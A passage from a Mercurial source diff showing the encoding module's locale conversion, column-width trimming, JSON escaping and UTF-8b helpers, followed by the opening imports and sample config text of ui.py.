173 sub = s[max(0, inst.start - 10):inst.start + 10]
173 raise error.Abort("decoding near '%s': %s!" % (sub, inst))
174 raise error.Abort("decoding near '%s': %s!" % (sub, inst))
174 except LookupError as k:
175 except LookupError as k:
175 raise error.Abort(k, hint="please check your locale settings")
176 raise error.Abort(k, hint="please check your locale settings")
176
177
177 def unitolocal(u):
178 def unitolocal(u):
178 """Convert a unicode string to a byte string of local encoding"""
179 """Convert a unicode string to a byte string of local encoding"""
179 return tolocal(u.encode('utf-8'))
180 return tolocal(u.encode('utf-8'))
180
181
181 def unifromlocal(s):
182 def unifromlocal(s):
182 """Convert a byte string of local encoding to a unicode string"""
183 """Convert a byte string of local encoding to a unicode string"""
183 return fromlocal(s).decode('utf-8')
184 return fromlocal(s).decode('utf-8')
184
185
185 def unimethod(bytesfunc):
186 def unimethod(bytesfunc):
186 """Create a proxy method that forwards __unicode__() and __str__() of
187 """Create a proxy method that forwards __unicode__() and __str__() of
187 Python 3 to __bytes__()"""
188 Python 3 to __bytes__()"""
188 def unifunc(obj):
189 def unifunc(obj):
189 return unifromlocal(bytesfunc(obj))
190 return unifromlocal(bytesfunc(obj))
190 return unifunc
191 return unifunc
191
192
192 # converter functions between native str and byte string. use these if the
193 # converter functions between native str and byte string. use these if the
193 # character encoding is not aware (e.g. exception message) or is known to
194 # character encoding is not aware (e.g. exception message) or is known to
194 # be locale dependent (e.g. date formatting.)
195 # be locale dependent (e.g. date formatting.)
195 if pycompat.ispy3:
196 if pycompat.ispy3:
196 strtolocal = unitolocal
197 strtolocal = unitolocal
197 strfromlocal = unifromlocal
198 strfromlocal = unifromlocal
198 strmethod = unimethod
199 strmethod = unimethod
199 else:
200 else:
200 strtolocal = pycompat.identity
201 strtolocal = pycompat.identity
201 strfromlocal = pycompat.identity
202 strfromlocal = pycompat.identity
202 strmethod = pycompat.identity
203 strmethod = pycompat.identity
203
204
204 if not _nativeenviron:
205 if not _nativeenviron:
205 # now encoding and helper functions are available, recreate the environ
206 # now encoding and helper functions are available, recreate the environ
206 # dict to be exported to other modules
207 # dict to be exported to other modules
207 environ = dict((tolocal(k.encode(u'utf-8')), tolocal(v.encode(u'utf-8')))
208 environ = dict((tolocal(k.encode(u'utf-8')), tolocal(v.encode(u'utf-8')))
208 for k, v in os.environ.items()) # re-exports
209 for k, v in os.environ.items()) # re-exports
209
210
210 # How to treat ambiguous-width characters. Set to 'wide' to treat as wide.
211 # How to treat ambiguous-width characters. Set to 'wide' to treat as wide.
211 _wide = _sysstr(environ.get("HGENCODINGAMBIGUOUS", "narrow") == "wide"
212 _wide = _sysstr(environ.get("HGENCODINGAMBIGUOUS", "narrow") == "wide"
212 and "WFA" or "WF")
213 and "WFA" or "WF")
213
214
214 def colwidth(s):
215 def colwidth(s):
215 "Find the column width of a string for display in the local encoding"
216 "Find the column width of a string for display in the local encoding"
216 return ucolwidth(s.decode(_sysstr(encoding), u'replace'))
217 return ucolwidth(s.decode(_sysstr(encoding), u'replace'))
217
218
218 def ucolwidth(d):
219 def ucolwidth(d):
219 "Find the column width of a Unicode string for display"
220 "Find the column width of a Unicode string for display"
220 eaw = getattr(unicodedata, 'east_asian_width', None)
221 eaw = getattr(unicodedata, 'east_asian_width', None)
221 if eaw is not None:
222 if eaw is not None:
222 return sum([eaw(c) in _wide and 2 or 1 for c in d])
223 return sum([eaw(c) in _wide and 2 or 1 for c in d])
223 return len(d)
224 return len(d)
224
225
225 def getcols(s, start, c):
226 def getcols(s, start, c):
226 '''Use colwidth to find a c-column substring of s starting at byte
227 '''Use colwidth to find a c-column substring of s starting at byte
227 index start'''
228 index start'''
228 for x in xrange(start + c, len(s)):
229 for x in xrange(start + c, len(s)):
229 t = s[start:x]
230 t = s[start:x]
230 if colwidth(t) == c:
231 if colwidth(t) == c:
231 return t
232 return t
232
233
233 def trim(s, width, ellipsis='', leftside=False):
234 def trim(s, width, ellipsis='', leftside=False):
234 """Trim string 's' to at most 'width' columns (including 'ellipsis').
235 """Trim string 's' to at most 'width' columns (including 'ellipsis').
235
236
236 If 'leftside' is True, left side of string 's' is trimmed.
237 If 'leftside' is True, left side of string 's' is trimmed.
237 'ellipsis' is always placed at trimmed side.
238 'ellipsis' is always placed at trimmed side.
238
239
239 >>> ellipsis = '+++'
240 >>> ellipsis = '+++'
240 >>> from . import encoding
241 >>> from . import encoding
241 >>> encoding.encoding = 'utf-8'
242 >>> encoding.encoding = 'utf-8'
242 >>> t= '1234567890'
243 >>> t= '1234567890'
243 >>> print trim(t, 12, ellipsis=ellipsis)
244 >>> print trim(t, 12, ellipsis=ellipsis)
244 1234567890
245 1234567890
245 >>> print trim(t, 10, ellipsis=ellipsis)
246 >>> print trim(t, 10, ellipsis=ellipsis)
246 1234567890
247 1234567890
247 >>> print trim(t, 8, ellipsis=ellipsis)
248 >>> print trim(t, 8, ellipsis=ellipsis)
248 12345+++
249 12345+++
249 >>> print trim(t, 8, ellipsis=ellipsis, leftside=True)
250 >>> print trim(t, 8, ellipsis=ellipsis, leftside=True)
250 +++67890
251 +++67890
251 >>> print trim(t, 8)
252 >>> print trim(t, 8)
252 12345678
253 12345678
253 >>> print trim(t, 8, leftside=True)
254 >>> print trim(t, 8, leftside=True)
254 34567890
255 34567890
255 >>> print trim(t, 3, ellipsis=ellipsis)
256 >>> print trim(t, 3, ellipsis=ellipsis)
256 +++
257 +++
257 >>> print trim(t, 1, ellipsis=ellipsis)
258 >>> print trim(t, 1, ellipsis=ellipsis)
258 +
259 +
259 >>> u = u'\u3042\u3044\u3046\u3048\u304a' # 2 x 5 = 10 columns
260 >>> u = u'\u3042\u3044\u3046\u3048\u304a' # 2 x 5 = 10 columns
260 >>> t = u.encode(encoding.encoding)
261 >>> t = u.encode(encoding.encoding)
261 >>> print trim(t, 12, ellipsis=ellipsis)
262 >>> print trim(t, 12, ellipsis=ellipsis)
262 \xe3\x81\x82\xe3\x81\x84\xe3\x81\x86\xe3\x81\x88\xe3\x81\x8a
263 \xe3\x81\x82\xe3\x81\x84\xe3\x81\x86\xe3\x81\x88\xe3\x81\x8a
263 >>> print trim(t, 10, ellipsis=ellipsis)
264 >>> print trim(t, 10, ellipsis=ellipsis)
264 \xe3\x81\x82\xe3\x81\x84\xe3\x81\x86\xe3\x81\x88\xe3\x81\x8a
265 \xe3\x81\x82\xe3\x81\x84\xe3\x81\x86\xe3\x81\x88\xe3\x81\x8a
265 >>> print trim(t, 8, ellipsis=ellipsis)
266 >>> print trim(t, 8, ellipsis=ellipsis)
266 \xe3\x81\x82\xe3\x81\x84+++
267 \xe3\x81\x82\xe3\x81\x84+++
267 >>> print trim(t, 8, ellipsis=ellipsis, leftside=True)
268 >>> print trim(t, 8, ellipsis=ellipsis, leftside=True)
268 +++\xe3\x81\x88\xe3\x81\x8a
269 +++\xe3\x81\x88\xe3\x81\x8a
269 >>> print trim(t, 5)
270 >>> print trim(t, 5)
270 \xe3\x81\x82\xe3\x81\x84
271 \xe3\x81\x82\xe3\x81\x84
271 >>> print trim(t, 5, leftside=True)
272 >>> print trim(t, 5, leftside=True)
272 \xe3\x81\x88\xe3\x81\x8a
273 \xe3\x81\x88\xe3\x81\x8a
273 >>> print trim(t, 4, ellipsis=ellipsis)
274 >>> print trim(t, 4, ellipsis=ellipsis)
274 +++
275 +++
275 >>> print trim(t, 4, ellipsis=ellipsis, leftside=True)
276 >>> print trim(t, 4, ellipsis=ellipsis, leftside=True)
276 +++
277 +++
277 >>> t = '\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa' # invalid byte sequence
278 >>> t = '\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa' # invalid byte sequence
278 >>> print trim(t, 12, ellipsis=ellipsis)
279 >>> print trim(t, 12, ellipsis=ellipsis)
279 \x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa
280 \x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa
280 >>> print trim(t, 10, ellipsis=ellipsis)
281 >>> print trim(t, 10, ellipsis=ellipsis)
281 \x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa
282 \x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa
282 >>> print trim(t, 8, ellipsis=ellipsis)
283 >>> print trim(t, 8, ellipsis=ellipsis)
283 \x11\x22\x33\x44\x55+++
284 \x11\x22\x33\x44\x55+++
284 >>> print trim(t, 8, ellipsis=ellipsis, leftside=True)
285 >>> print trim(t, 8, ellipsis=ellipsis, leftside=True)
285 +++\x66\x77\x88\x99\xaa
286 +++\x66\x77\x88\x99\xaa
286 >>> print trim(t, 8)
287 >>> print trim(t, 8)
287 \x11\x22\x33\x44\x55\x66\x77\x88
288 \x11\x22\x33\x44\x55\x66\x77\x88
288 >>> print trim(t, 8, leftside=True)
289 >>> print trim(t, 8, leftside=True)
289 \x33\x44\x55\x66\x77\x88\x99\xaa
290 \x33\x44\x55\x66\x77\x88\x99\xaa
290 >>> print trim(t, 3, ellipsis=ellipsis)
291 >>> print trim(t, 3, ellipsis=ellipsis)
291 +++
292 +++
292 >>> print trim(t, 1, ellipsis=ellipsis)
293 >>> print trim(t, 1, ellipsis=ellipsis)
293 +
294 +
294 """
295 """
295 try:
296 try:
296 u = s.decode(_sysstr(encoding))
297 u = s.decode(_sysstr(encoding))
297 except UnicodeDecodeError:
298 except UnicodeDecodeError:
298 if len(s) <= width: # trimming is not needed
299 if len(s) <= width: # trimming is not needed
299 return s
300 return s
300 width -= len(ellipsis)
301 width -= len(ellipsis)
301 if width <= 0: # no enough room even for ellipsis
302 if width <= 0: # no enough room even for ellipsis
302 return ellipsis[:width + len(ellipsis)]
303 return ellipsis[:width + len(ellipsis)]
303 if leftside:
304 if leftside:
304 return ellipsis + s[-width:]
305 return ellipsis + s[-width:]
305 return s[:width] + ellipsis
306 return s[:width] + ellipsis
306
307
307 if ucolwidth(u) <= width: # trimming is not needed
308 if ucolwidth(u) <= width: # trimming is not needed
308 return s
309 return s
309
310
310 width -= len(ellipsis)
311 width -= len(ellipsis)
311 if width <= 0: # no enough room even for ellipsis
312 if width <= 0: # no enough room even for ellipsis
312 return ellipsis[:width + len(ellipsis)]
313 return ellipsis[:width + len(ellipsis)]
313
314
314 if leftside:
315 if leftside:
315 uslice = lambda i: u[i:]
316 uslice = lambda i: u[i:]
316 concat = lambda s: ellipsis + s
317 concat = lambda s: ellipsis + s
317 else:
318 else:
318 uslice = lambda i: u[:-i]
319 uslice = lambda i: u[:-i]
319 concat = lambda s: s + ellipsis
320 concat = lambda s: s + ellipsis
320 for i in xrange(1, len(u)):
321 for i in xrange(1, len(u)):
321 usub = uslice(i)
322 usub = uslice(i)
322 if ucolwidth(usub) <= width:
323 if ucolwidth(usub) <= width:
323 return concat(usub.encode(_sysstr(encoding)))
324 return concat(usub.encode(_sysstr(encoding)))
324 return ellipsis # no enough room for multi-column characters
325 return ellipsis # no enough room for multi-column characters
325
326
326 def lower(s):
327 def lower(s):
327 "best-effort encoding-aware case-folding of local string s"
328 "best-effort encoding-aware case-folding of local string s"
328 try:
329 try:
329 return asciilower(s)
330 return asciilower(s)
330 except UnicodeDecodeError:
331 except UnicodeDecodeError:
331 pass
332 pass
332 try:
333 try:
333 if isinstance(s, localstr):
334 if isinstance(s, localstr):
334 u = s._utf8.decode("utf-8")
335 u = s._utf8.decode("utf-8")
335 else:
336 else:
336 u = s.decode(_sysstr(encoding), _sysstr(encodingmode))
337 u = s.decode(_sysstr(encoding), _sysstr(encodingmode))
337
338
338 lu = u.lower()
339 lu = u.lower()
339 if u == lu:
340 if u == lu:
340 return s # preserve localstring
341 return s # preserve localstring
341 return lu.encode(_sysstr(encoding))
342 return lu.encode(_sysstr(encoding))
342 except UnicodeError:
343 except UnicodeError:
343 return s.lower() # we don't know how to fold this except in ASCII
344 return s.lower() # we don't know how to fold this except in ASCII
344 except LookupError as k:
345 except LookupError as k:
345 raise error.Abort(k, hint="please check your locale settings")
346 raise error.Abort(k, hint="please check your locale settings")
346
347
347 def upper(s):
348 def upper(s):
348 "best-effort encoding-aware case-folding of local string s"
349 "best-effort encoding-aware case-folding of local string s"
349 try:
350 try:
350 return asciiupper(s)
351 return asciiupper(s)
351 except UnicodeDecodeError:
352 except UnicodeDecodeError:
352 return upperfallback(s)
353 return upperfallback(s)
353
354
354 def upperfallback(s):
355 def upperfallback(s):
355 try:
356 try:
356 if isinstance(s, localstr):
357 if isinstance(s, localstr):
357 u = s._utf8.decode("utf-8")
358 u = s._utf8.decode("utf-8")
358 else:
359 else:
359 u = s.decode(_sysstr(encoding), _sysstr(encodingmode))
360 u = s.decode(_sysstr(encoding), _sysstr(encodingmode))
360
361
361 uu = u.upper()
362 uu = u.upper()
362 if u == uu:
363 if u == uu:
363 return s # preserve localstring
364 return s # preserve localstring
364 return uu.encode(_sysstr(encoding))
365 return uu.encode(_sysstr(encoding))
365 except UnicodeError:
366 except UnicodeError:
366 return s.upper() # we don't know how to fold this except in ASCII
367 return s.upper() # we don't know how to fold this except in ASCII
367 except LookupError as k:
368 except LookupError as k:
368 raise error.Abort(k, hint="please check your locale settings")
369 raise error.Abort(k, hint="please check your locale settings")
369
370
370 class normcasespecs(object):
371 class normcasespecs(object):
371 '''what a platform's normcase does to ASCII strings
372 '''what a platform's normcase does to ASCII strings
372
373
373 This is specified per platform, and should be consistent with what normcase
374 This is specified per platform, and should be consistent with what normcase
374 on that platform actually does.
375 on that platform actually does.
375
376
376 lower: normcase lowercases ASCII strings
377 lower: normcase lowercases ASCII strings
377 upper: normcase uppercases ASCII strings
378 upper: normcase uppercases ASCII strings
378 other: the fallback function should always be called
379 other: the fallback function should always be called
379
380
380 This should be kept in sync with normcase_spec in util.h.'''
381 This should be kept in sync with normcase_spec in util.h.'''
381 lower = -1
382 lower = -1
382 upper = 1
383 upper = 1
383 other = 0
384 other = 0
384
385
385 _jsonmap = []
386 _jsonmap = []
386 _jsonmap.extend("\\u%04x" % x for x in range(32))
387 _jsonmap.extend("\\u%04x" % x for x in range(32))
387 _jsonmap.extend(pycompat.bytechr(x) for x in range(32, 127))
388 _jsonmap.extend(pycompat.bytechr(x) for x in range(32, 127))
388 _jsonmap.append('\\u007f')
389 _jsonmap.append('\\u007f')
389 _jsonmap[0x09] = '\\t'
390 _jsonmap[0x09] = '\\t'
390 _jsonmap[0x0a] = '\\n'
391 _jsonmap[0x0a] = '\\n'
391 _jsonmap[0x22] = '\\"'
392 _jsonmap[0x22] = '\\"'
392 _jsonmap[0x5c] = '\\\\'
393 _jsonmap[0x5c] = '\\\\'
393 _jsonmap[0x08] = '\\b'
394 _jsonmap[0x08] = '\\b'
394 _jsonmap[0x0c] = '\\f'
395 _jsonmap[0x0c] = '\\f'
395 _jsonmap[0x0d] = '\\r'
396 _jsonmap[0x0d] = '\\r'
396 _paranoidjsonmap = _jsonmap[:]
397 _paranoidjsonmap = _jsonmap[:]
397 _paranoidjsonmap[0x3c] = '\\u003c' # '<' (e.g. escape "</script>")
398 _paranoidjsonmap[0x3c] = '\\u003c' # '<' (e.g. escape "</script>")
398 _paranoidjsonmap[0x3e] = '\\u003e' # '>'
399 _paranoidjsonmap[0x3e] = '\\u003e' # '>'
399 _jsonmap.extend(pycompat.bytechr(x) for x in range(128, 256))
400 _jsonmap.extend(pycompat.bytechr(x) for x in range(128, 256))
400
401
401 def jsonescape(s, paranoid=False):
402 def jsonescape(s, paranoid=False):
402 '''returns a string suitable for JSON
403 '''returns a string suitable for JSON
403
404
404 JSON is problematic for us because it doesn't support non-Unicode
405 JSON is problematic for us because it doesn't support non-Unicode
405 bytes. To deal with this, we take the following approach:
406 bytes. To deal with this, we take the following approach:
406
407
407 - localstr objects are converted back to UTF-8
408 - localstr objects are converted back to UTF-8
408 - valid UTF-8/ASCII strings are passed as-is
409 - valid UTF-8/ASCII strings are passed as-is
409 - other strings are converted to UTF-8b surrogate encoding
410 - other strings are converted to UTF-8b surrogate encoding
410 - apply JSON-specified string escaping
411 - apply JSON-specified string escaping
411
412
412 (escapes are doubled in these tests)
413 (escapes are doubled in these tests)
413
414
414 >>> jsonescape('this is a test')
415 >>> jsonescape('this is a test')
415 'this is a test'
416 'this is a test'
416 >>> jsonescape('escape characters: \\0 \\x0b \\x7f')
417 >>> jsonescape('escape characters: \\0 \\x0b \\x7f')
417 'escape characters: \\\\u0000 \\\\u000b \\\\u007f'
418 'escape characters: \\\\u0000 \\\\u000b \\\\u007f'
418 >>> jsonescape('escape characters: \\t \\n \\r \\" \\\\')
419 >>> jsonescape('escape characters: \\t \\n \\r \\" \\\\')
419 'escape characters: \\\\t \\\\n \\\\r \\\\" \\\\\\\\'
420 'escape characters: \\\\t \\\\n \\\\r \\\\" \\\\\\\\'
420 >>> jsonescape('a weird byte: \\xdd')
421 >>> jsonescape('a weird byte: \\xdd')
421 'a weird byte: \\xed\\xb3\\x9d'
422 'a weird byte: \\xed\\xb3\\x9d'
422 >>> jsonescape('utf-8: caf\\xc3\\xa9')
423 >>> jsonescape('utf-8: caf\\xc3\\xa9')
423 'utf-8: caf\\xc3\\xa9'
424 'utf-8: caf\\xc3\\xa9'
424 >>> jsonescape('')
425 >>> jsonescape('')
425 ''
426 ''
426
427
427 If paranoid, non-ascii and common troublesome characters are also escaped.
428 If paranoid, non-ascii and common troublesome characters are also escaped.
428 This is suitable for web output.
429 This is suitable for web output.
429
430
430 >>> jsonescape('escape boundary: \\x7e \\x7f \\xc2\\x80', paranoid=True)
431 >>> jsonescape('escape boundary: \\x7e \\x7f \\xc2\\x80', paranoid=True)
431 'escape boundary: ~ \\\\u007f \\\\u0080'
432 'escape boundary: ~ \\\\u007f \\\\u0080'
432 >>> jsonescape('a weird byte: \\xdd', paranoid=True)
433 >>> jsonescape('a weird byte: \\xdd', paranoid=True)
433 'a weird byte: \\\\udcdd'
434 'a weird byte: \\\\udcdd'
434 >>> jsonescape('utf-8: caf\\xc3\\xa9', paranoid=True)
435 >>> jsonescape('utf-8: caf\\xc3\\xa9', paranoid=True)
435 'utf-8: caf\\\\u00e9'
436 'utf-8: caf\\\\u00e9'
436 >>> jsonescape('non-BMP: \\xf0\\x9d\\x84\\x9e', paranoid=True)
437 >>> jsonescape('non-BMP: \\xf0\\x9d\\x84\\x9e', paranoid=True)
437 'non-BMP: \\\\ud834\\\\udd1e'
438 'non-BMP: \\\\ud834\\\\udd1e'
438 >>> jsonescape('<foo@example.org>', paranoid=True)
439 >>> jsonescape('<foo@example.org>', paranoid=True)
439 '\\\\u003cfoo@example.org\\\\u003e'
440 '\\\\u003cfoo@example.org\\\\u003e'
440 '''
441 '''
441
442
442 if paranoid:
443 if paranoid:
443 jm = _paranoidjsonmap
444 jm = _paranoidjsonmap
444 else:
445 else:
445 jm = _jsonmap
446 jm = _jsonmap
446
447
447 u8chars = toutf8b(s)
448 u8chars = toutf8b(s)
448 try:
449 try:
449 return ''.join(jm[x] for x in bytearray(u8chars)) # fast path
450 return ''.join(jm[x] for x in bytearray(u8chars)) # fast path
450 except IndexError:
451 except IndexError:
451 pass
452 pass
452 # non-BMP char is represented as UTF-16 surrogate pair
453 # non-BMP char is represented as UTF-16 surrogate pair
453 u16codes = array.array('H', u8chars.decode('utf-8').encode('utf-16'))
454 u16codes = array.array('H', u8chars.decode('utf-8').encode('utf-16'))
454 u16codes.pop(0) # drop BOM
455 u16codes.pop(0) # drop BOM
455 return ''.join(jm[x] if x < 128 else '\\u%04x' % x for x in u16codes)
456 return ''.join(jm[x] if x < 128 else '\\u%04x' % x for x in u16codes)
456
457
457 _utf8len = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 3, 4]
458 _utf8len = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 3, 4]
458
459
459 def getutf8char(s, pos):
460 def getutf8char(s, pos):
460 '''get the next full utf-8 character in the given string, starting at pos
461 '''get the next full utf-8 character in the given string, starting at pos
461
462
462 Raises a UnicodeError if the given location does not start a valid
463 Raises a UnicodeError if the given location does not start a valid
463 utf-8 character.
464 utf-8 character.
464 '''
465 '''
465
466
466 # find how many bytes to attempt decoding from first nibble
467 # find how many bytes to attempt decoding from first nibble
467 l = _utf8len[ord(s[pos]) >> 4]
468 l = _utf8len[ord(s[pos]) >> 4]
468 if not l: # ascii
469 if not l: # ascii
469 return s[pos]
470 return s[pos]
470
471
471 c = s[pos:pos + l]
472 c = s[pos:pos + l]
472 # validate with attempted decode
473 # validate with attempted decode
473 c.decode("utf-8")
474 c.decode("utf-8")
474 return c
475 return c
475
476
476 def toutf8b(s):
477 def toutf8b(s):
477 '''convert a local, possibly-binary string into UTF-8b
478 '''convert a local, possibly-binary string into UTF-8b
478
479
479 This is intended as a generic method to preserve data when working
480 This is intended as a generic method to preserve data when working
480 with schemes like JSON and XML that have no provision for
481 with schemes like JSON and XML that have no provision for
481 arbitrary byte strings. As Mercurial often doesn't know
482 arbitrary byte strings. As Mercurial often doesn't know
482 what encoding data is in, we use so-called UTF-8b.
483 what encoding data is in, we use so-called UTF-8b.
483
484
484 If a string is already valid UTF-8 (or ASCII), it passes unmodified.
485 If a string is already valid UTF-8 (or ASCII), it passes unmodified.
485 Otherwise, unsupported bytes are mapped to UTF-16 surrogate range,
486 Otherwise, unsupported bytes are mapped to UTF-16 surrogate range,
486 uDC00-uDCFF.
487 uDC00-uDCFF.
487
488
488 Principles of operation:
489 Principles of operation:
489
490
490 - ASCII and UTF-8 data successfully round-trips and is understood
491 - ASCII and UTF-8 data successfully round-trips and is understood
491 by Unicode-oriented clients
492 by Unicode-oriented clients
492 - filenames and file contents in arbitrary other encodings can have
493 - filenames and file contents in arbitrary other encodings can have
493 be round-tripped or recovered by clueful clients
494 be round-tripped or recovered by clueful clients
494 - local strings that have a cached known UTF-8 encoding (aka
495 - local strings that have a cached known UTF-8 encoding (aka
495 localstr) get sent as UTF-8 so Unicode-oriented clients get the
496 localstr) get sent as UTF-8 so Unicode-oriented clients get the
496 Unicode data they want
497 Unicode data they want
497 - because we must preserve UTF-8 bytestring in places such as
498 - because we must preserve UTF-8 bytestring in places such as
498 filenames, metadata can't be roundtripped without help
499 filenames, metadata can't be roundtripped without help
499
500
500 (Note: "UTF-8b" often refers to decoding a mix of valid UTF-8 and
501 (Note: "UTF-8b" often refers to decoding a mix of valid UTF-8 and
501 arbitrary bytes into an internal Unicode format that can be
502 arbitrary bytes into an internal Unicode format that can be
502 re-encoded back into the original. Here we are exposing the
503 re-encoded back into the original. Here we are exposing the
503 internal surrogate encoding as a UTF-8 string.)
504 internal surrogate encoding as a UTF-8 string.)
504 '''
505 '''
505
506
506 if "\xed" not in s:
507 if "\xed" not in s:
507 if isinstance(s, localstr):
508 if isinstance(s, localstr):
508 return s._utf8
509 return s._utf8
509 try:
510 try:
510 s.decode('utf-8')
511 s.decode('utf-8')
511 return s
512 return s
512 except UnicodeDecodeError:
513 except UnicodeDecodeError:
513 pass
514 pass
514
515
515 r = ""
516 r = ""
516 pos = 0
517 pos = 0
517 l = len(s)
518 l = len(s)
518 while pos < l:
519 while pos < l:
519 try:
520 try:
520 c = getutf8char(s, pos)
521 c = getutf8char(s, pos)
521 if "\xed\xb0\x80" <= c <= "\xed\xb3\xbf":
522 if "\xed\xb0\x80" <= c <= "\xed\xb3\xbf":
522 # have to re-escape existing U+DCxx characters
523 # have to re-escape existing U+DCxx characters
523 c = unichr(0xdc00 + ord(s[pos])).encode('utf-8')
524 c = unichr(0xdc00 + ord(s[pos])).encode('utf-8')
524 pos += 1
525 pos += 1
525 else:
526 else:
526 pos += len(c)
527 pos += len(c)
527 except UnicodeDecodeError:
528 except UnicodeDecodeError:
528 c = unichr(0xdc00 + ord(s[pos])).encode('utf-8')
529 c = unichr(0xdc00 + ord(s[pos])).encode('utf-8')
529 pos += 1
530 pos += 1
530 r += c
531 r += c
531 return r
532 return r
532
533
533 def fromutf8b(s):
534 def fromutf8b(s):
534 '''Given a UTF-8b string, return a local, possibly-binary string.
535 '''Given a UTF-8b string, return a local, possibly-binary string.
535
536
536 return the original binary string. This
537 return the original binary string. This
537 is a round-trip process for strings like filenames, but metadata
538 is a round-trip process for strings like filenames, but metadata
538 that's was passed through tolocal will remain in UTF-8.
539 that's was passed through tolocal will remain in UTF-8.
539
540
540 >>> roundtrip = lambda x: fromutf8b(toutf8b(x)) == x
541 >>> roundtrip = lambda x: fromutf8b(toutf8b(x)) == x
541 >>> m = "\\xc3\\xa9\\x99abcd"
542 >>> m = "\\xc3\\xa9\\x99abcd"
542 >>> toutf8b(m)
543 >>> toutf8b(m)
543 '\\xc3\\xa9\\xed\\xb2\\x99abcd'
544 '\\xc3\\xa9\\xed\\xb2\\x99abcd'
544 >>> roundtrip(m)
545 >>> roundtrip(m)
545 True
546 True
546 >>> roundtrip("\\xc2\\xc2\\x80")
547 >>> roundtrip("\\xc2\\xc2\\x80")
547 True
548 True
548 >>> roundtrip("\\xef\\xbf\\xbd")
549 >>> roundtrip("\\xef\\xbf\\xbd")
549 True
550 True
550 >>> roundtrip("\\xef\\xef\\xbf\\xbd")
551 >>> roundtrip("\\xef\\xef\\xbf\\xbd")
551 True
552 True
552 >>> roundtrip("\\xf1\\x80\\x80\\x80\\x80")
553 >>> roundtrip("\\xf1\\x80\\x80\\x80\\x80")
553 True
554 True
554 '''
555 '''
555
556
556 # fast path - look for uDxxx prefixes in s
557 # fast path - look for uDxxx prefixes in s
557 if "\xed" not in s:
558 if "\xed" not in s:
558 return s
559 return s
559
560
560 # We could do this with the unicode type but some Python builds
561 # We could do this with the unicode type but some Python builds
561 # use UTF-16 internally (issue5031) which causes non-BMP code
562 # use UTF-16 internally (issue5031) which causes non-BMP code
562 # points to be escaped. Instead, we use our handy getutf8char
563 # points to be escaped. Instead, we use our handy getutf8char
563 # helper again to walk the string without "decoding" it.
564 # helper again to walk the string without "decoding" it.
564
565
565 r = ""
566 r = ""
566 pos = 0
567 pos = 0
567 l = len(s)
568 l = len(s)
568 while pos < l:
569 while pos < l:
569 c = getutf8char(s, pos)
570 c = getutf8char(s, pos)
570 pos += len(c)
571 pos += len(c)
571 # unescape U+DCxx characters
572 # unescape U+DCxx characters
572 if "\xed\xb0\x80" <= c <= "\xed\xb3\xbf":
573 if "\xed\xb0\x80" <= c <= "\xed\xb3\xbf":
573 c = chr(ord(c.decode("utf-8")) & 0xff)
574 c = chr(ord(c.decode("utf-8")) & 0xff)
574 r += c
575 r += c
575 return r
576 return r
577
578 class strio(io.TextIOWrapper):
579 """Wrapper around TextIOWrapper that respects hg's encoding assumptions.
580
581 Also works around Python closing streams.
582 """
583
584 def __init__(self, buffer, **kwargs):
585 kwargs[r'encoding'] = _sysstr(encoding)
586 super(strio, self).__init__(buffer, **kwargs)
587
588 def __del__(self):
589 """Override __del__ so it doesn't close the underlying stream."""
@@ -1,1785 +1,1777 b''
1 # ui.py - user interface bits for mercurial
1 # ui.py - user interface bits for mercurial
2 #
2 #
3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import collections
10 import collections
11 import contextlib
11 import contextlib
12 import errno
12 import errno
13 import getpass
13 import getpass
14 import inspect
14 import inspect
15 import os
15 import os
16 import re
16 import re
17 import signal
17 import signal
18 import socket
18 import socket
19 import subprocess
19 import subprocess
20 import sys
20 import sys
21 import tempfile
21 import tempfile
22 import traceback
22 import traceback
23
23
24 from .i18n import _
24 from .i18n import _
25 from .node import hex
25 from .node import hex
26
26
27 from . import (
27 from . import (
28 color,
28 color,
29 config,
29 config,
30 configitems,
30 configitems,
31 encoding,
31 encoding,
32 error,
32 error,
33 formatter,
33 formatter,
34 progress,
34 progress,
35 pycompat,
35 pycompat,
36 rcutil,
36 rcutil,
37 scmutil,
37 scmutil,
38 util,
38 util,
39 )
39 )
40
40
41 urlreq = util.urlreq
41 urlreq = util.urlreq
42
42
43 # for use with str.translate(None, _keepalnum), to keep just alphanumerics
43 # for use with str.translate(None, _keepalnum), to keep just alphanumerics
44 _keepalnum = ''.join(c for c in map(pycompat.bytechr, range(256))
44 _keepalnum = ''.join(c for c in map(pycompat.bytechr, range(256))
45 if not c.isalnum())
45 if not c.isalnum())
46
46
47 # The config knobs that will be altered (if unset) by ui.tweakdefaults.
47 # The config knobs that will be altered (if unset) by ui.tweakdefaults.
48 tweakrc = """
48 tweakrc = """
49 [ui]
49 [ui]
50 # The rollback command is dangerous. As a rule, don't use it.
50 # The rollback command is dangerous. As a rule, don't use it.
51 rollback = False
51 rollback = False
52
52
53 [commands]
53 [commands]
54 # Make `hg status` emit cwd-relative paths by default.
54 # Make `hg status` emit cwd-relative paths by default.
55 status.relative = yes
55 status.relative = yes
56
56
57 [diff]
57 [diff]
58 git = 1
58 git = 1
59 """
59 """
60
60
61 samplehgrcs = {
61 samplehgrcs = {
62 'user':
62 'user':
63 b"""# example user config (see 'hg help config' for more info)
63 b"""# example user config (see 'hg help config' for more info)
64 [ui]
64 [ui]
65 # name and email, e.g.
65 # name and email, e.g.
66 # username = Jane Doe <jdoe@example.com>
66 # username = Jane Doe <jdoe@example.com>
67 username =
67 username =
68
68
69 # uncomment to disable color in command output
69 # uncomment to disable color in command output
70 # (see 'hg help color' for details)
70 # (see 'hg help color' for details)
71 # color = never
71 # color = never
72
72
73 # uncomment to disable command output pagination
73 # uncomment to disable command output pagination
74 # (see 'hg help pager' for details)
74 # (see 'hg help pager' for details)
75 # paginate = never
75 # paginate = never
76
76
77 [extensions]
77 [extensions]
78 # uncomment these lines to enable some popular extensions
